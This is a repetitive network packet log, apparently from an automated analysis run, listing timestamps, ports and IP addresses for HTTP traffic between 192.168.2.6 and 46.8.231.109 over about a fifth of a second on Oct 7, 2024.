Oct 7, 2024 18:00:27.035689116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035711050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035717964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035733938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035746098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035753965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035759926 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035778046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035799026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036510944 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036521912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036533117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036556005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036588907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036730051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036740065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036748886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036758900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036768913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036770105 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036781073 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036791086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036791086 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.036818981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.036843061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.037199974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.037250042 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.037260056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.037271023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.037298918 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.037316084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.116000891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.116071939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.116153955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.116167068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.116195917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.116218090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117441893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117455006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117465973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117476940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117490053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117500067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117546082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117567062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117578983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117589951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117600918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117608070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117613077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117624044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117626905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117635965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117646933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117657900 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117659092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117669106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117681980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117692947 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117705107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117729902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117742062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117742062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117753029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117765903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117774010 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117799997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117803097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117811918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117824078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117834091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117841959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117845058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117856979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117868900 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117871046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117878914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.117917061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.117917061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118223906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118236065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118246078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118257999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118271112 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118299007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118383884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118396997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118415117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118424892 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118426085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118437052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118448019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118448973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118458986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118470907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118478060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118483067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118494034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118498087 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118505955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118516922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118518114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118530035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118539095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118541002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118551970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118554115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118565083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118575096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118582964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118586063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118597031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118614912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118633032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118736029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118747950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118758917 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118774891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118779898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118787050 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118798018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118798971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118808985 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118822098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118829012 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118833065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118844032 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118855953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118856907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118866920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118877888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.118880033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118899107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.118916035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119223118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119236946 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119247913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119259119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119266987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119297028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119378090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119394064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119405031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119417906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119421959 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119430065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119450092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119451046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119462013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119472980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119476080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119484901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119498014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119505882 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119509935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119522095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119533062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119533062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119544029 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119550943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119568110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119594097 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119883060 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119893074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119904995 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119915009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.119923115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.119952917 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120140076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120151997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120162964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120174885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120186090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120187044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120197058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120209932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120214939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120222092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120234013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120234966 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120244980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120256901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120261908 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120270967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120291948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120335102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120414019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120424986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.120452881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.120469093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121140003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121191025 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121208906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121221066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121246099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121282101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121293068 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121304989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121315956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121329069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121335983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121340990 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121365070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121380091 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121520996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121534109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121545076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121563911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121567011 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121577024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121587992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121587992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.121615887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.121634960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200211048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200253010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200267076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200285912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200309992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200328112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200341940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200356007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200366974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200371981 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200398922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200424910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200812101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200824976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200836897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200855017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200856924 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200869083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200880051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200882912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200891972 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200901985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200911999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200926065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200931072 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200937986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200944901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200956106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200957060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.200969934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.200984955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201013088 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201039076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201051950 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201064110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201075077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201081991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201086044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201098919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201111078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201113939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201138973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201152086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201654911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201668978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201684952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201698065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201706886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201719046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201744080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201778889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201792002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201803923 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201814890 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201818943 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201827049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201838017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201848030 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201849937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201875925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201889992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.201978922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.201991081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202001095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202019930 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202039003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202105999 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202117920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202131033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202142000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202147007 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202155113 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202173948 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202202082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202389002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202402115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202439070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202600956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202644110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202728987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202739954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202749968 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202759981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202773094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202778101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202805996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202805996 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202816963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202819109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202827930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202838898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202852964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202853918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202864885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202873945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202884912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202884912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202896118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.202899933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202925920 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.202938080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203233957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203246117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203255892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203265905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203275919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203285933 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203286886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203298092 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203319073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203335047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203424931 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203438044 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203449965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203460932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203468084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.203480005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203491926 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.203494072 CEST	49718	80	192.168.2.6	46.8.231.109
